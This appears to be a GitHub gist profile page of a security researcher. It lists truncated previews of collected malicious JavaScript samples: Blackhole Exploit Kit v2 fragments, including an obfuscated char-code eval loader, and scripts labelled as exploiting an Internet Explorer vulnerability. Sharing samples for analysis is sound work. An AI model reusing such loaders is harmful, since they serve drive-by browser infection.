Skip to content

Instantly share code, notes, and snippets.

View sebdraven's full-sized avatar

Sebastien Larinier sebdraven

View GitHub Profile
import java.awt.BorderLayout;
import java.util.Observable;
import java.util.Observer;
import java.net.URL;
import java.awt.Desktop;
import javax.swing.*;
import java.io.IOException;
import java.net.URISyntaxException;
import java.net.URI;
import java.net.URLEncoder;

Keybase proof

I hereby claim:

  • I am sebdraven on github.
  • I am sebdraven (https://keybase.io/sebdraven) on keybase.
  • I have a public key whose fingerprint is 88B7 31EA 1F75 2FE5 7F03 226F 4800 D7BD CCA8 1509

To claim this, I am signing this object:

@sebdraven
sebdraven / gist:5190689
Created March 18, 2013 20:50
Code pouvant exploité une vulnérabilité d'internet explorer
if (self.CavalryLogger) { CavalryLogger.start_js(["bEufR"]); }
__d("AsyncDOM",["CSS","DOM"],function(a,b,c,d,e,f){var g=b('CSS'),h=b('DOM'),i={invoke:function(j,k){for(var l=0;l<j.length;++l){var m=j[l],n=m[0],o=m[1],p=m[2],q=m[3],r=(p&&k)||null;if(o)r=h.scry(r||document.documentElement,o)[0];switch(n){case 'eval':(new Function(q)).apply(r);break;case 'hide':g.hide(r);break;case 'show':g.show(r);break;case 'setContent':h.setContent(r,q);break;case 'appendContent':h.appendContent(r,q);break;case 'prependContent':h.prependContent(r,q);break;case 'insertAfter':h.insertAfter(r,q);break;case 'insertBefore':h.insertBefore(r,q);break;case 'remove':h.remove(r);break;case 'replace':h.replace(r,q);break;default:}}}};e.exports=i;});
__d("Live",["Arbiter","AsyncDOM","AsyncSignal","ChannelConstants","DataStore","DOM","ServerJS","createArrayFrom","emptyFunction"],function(a,b,c,d,e,f){var g=b('Arbiter'),h=b('AsyncDOM'),i=b('AsyncSignal'),j=b('ChannelConstants'),k=b('DataStore'),l=b('DOM'),m=b('ServerJS'),n=b('createArray
@sebdraven
sebdraven / gist:5190678
Last active December 15, 2015 02:59
Code pouvant exploiter une vulnérabilité d'Internet Explorer
document.write ('<a href="http://www.51.la/?15240615" target="_blank" title="&#x35;&#x31;&#x2E;&#x6C;&#x61;&#x20;&#x4E13;&#x4E1A;&#x3001;&#x514D;&#x8D39;&#x3001;&#x5F3
A;&#x5065;&#x7684;&#x8BBF;&#x95EE;&#x7EDF;&#x8BA1;">&#x7F51;&#x7AD9;&#x7EDF;&#x8BA1;</a>\n');
var a0615tf="51la";var a0615pu="";var a0615pf="51la";var a0615su=window.location;var a0615sf=document.referrer;var a0615of="";var a0615op="";var a0615ops=1;var a0615ot
=1;var a0615d=new Date();var a0615color="";if (navigator.appName=="Netscape"){a0615color=screen.pixelDepth;} else {a0615color=screen.colorDepth;}
try{a0615tf=top.document.referrer;}catch(e){}
try{a0615pu =window.parent.location;}catch(e){}
try{a0615pf=window.parent.document.referrer;}catch(e){}
try{a0615ops=document.cookie.match(new RegExp("(^| )AJSTAT_ok_pages=([^;]*)(;|$)"));a0615ops=(a0615ops==null)?1: (parseInt(unescape((a0615ops)[2]))+1);var a0615oe =new
Date();a0615oe.setTime(a0615oe.getTime()+60*60*1000);document.cookie="AJSTAT_ok_pages="+a0615ops+ ";path=/;expires="+a0615oe.toGMT
@sebdraven
sebdraven / gist:5190656
Last active May 9, 2019 21:28
Code exploitant une vulnérabilité d'Internet Explorer
(function(){try{var c=null,g=this,i=function(a){for(var a=a.split("."),b=g,d;d=a.shift();)if(b[d]!=c)b=b[d];else return c;return b},j=function(a,b,d){return a.call.apply(a.bind,arguments)},k=function(a,b,d){if(!a)throw Error();if(2<arguments.length){var e=Array.prototype.slice.call(arguments,2);return function(){var d=Array.prototype.slice.call(arguments);Array.prototype.unshift.apply(d,e);return a.apply(b,d)}}return function(){return a.apply(b,arguments)}},o=function(a,b,d){o=Function.prototype.bind&&-1!=Function.prototype.bind.toString().indexOf("native code")?
j:k;return o.apply(c,arguments)};window.gbar.tev&&window.gbar.tev(3,"gc");var p=window.gbar;var q={a:1,h:2,g:3,c:4,b:5,e:6,d:7,f:8};var r=[],s=c,u=function(a,b){var d=c;b&&(d={m:b});p.tev&&p.tev(a,"gc",d)},v=function(){u(q.c);var a,b;for(a=0;(b=p.bnc[a])&&!("gc"==b[0]);++a);b&&!b[1].l&&(a=function(){for(var a=p.mdc,e=p.mdi||{},h=0,l;l=r[h];++h){var m=l[0],w=a[m],n=e[m],f;if(f=w){if(n=!n){var t;a:{n=m;if(f=p.mdd)try{if(!s){s={};var x=f.split(/;/);for(
@sebdraven
sebdraven / gist:5031979
Created February 25, 2013 18:18
BHEK v2
pdpd = {
version: "0.7.9",
name: "pdpd",
handler: function (c, b, a) {
return function () {
c(b, a)
}
},
openTag: "<",
isDefined: function (b) {
@sebdraven
sebdraven / gist:5031120
Created February 25, 2013 16:40
code BHEK v2
<head><title></title></head><body><script>if(window.document){function c(){for(i=0,s="";i<a.length;i++){s+=String["f"+"r"+"o"+"m"+"Ch"+"arCod"+ff](a[i]);}}if(window.document)csq=function(){z(s.concat(""));};try{document.body^=2}catch(q){xc=1;if(q)e=eval;rr="rep"+"la"+"ce";doc=document;}try{vasv()}catch(q){ff="e";}try{gewh=1;}catch(sav){xc=false;}vvz="\\"+"(";if(xc)rrr=new RegExp(vvz,"ig");}</script><script language="javascript">
</script><script language="javascript">var a = "112@100@112@100@61@123@11(@101@114@115@105@111@110@5(@34@4(@46@55@46@57@34@44@110@97@109@101@5(@34@112@100@112@100@34@44@104@97@110@100@10(@101@114@5(@102@117@110@99@116@105@111@110@40@99@44@9(@44@97@41@123@114@101@116@117@114@110@32@102@117@110@99@116@105@111@110@40@41@123@99@40@9(@44@97@41@125@125@44@111@112@101@110@(4@97@103@5(@34@60@34@44@105@115@6(@101@102@105@110@101@100@5(@102@117@110@99@116@105@111@110@40@9(@41@123@114@101@116@117@114@110@32@116@121@112@101@111@102@32@9(@33@61@34@117@110@100@101@102@105@110@101@100@34@125@44@105@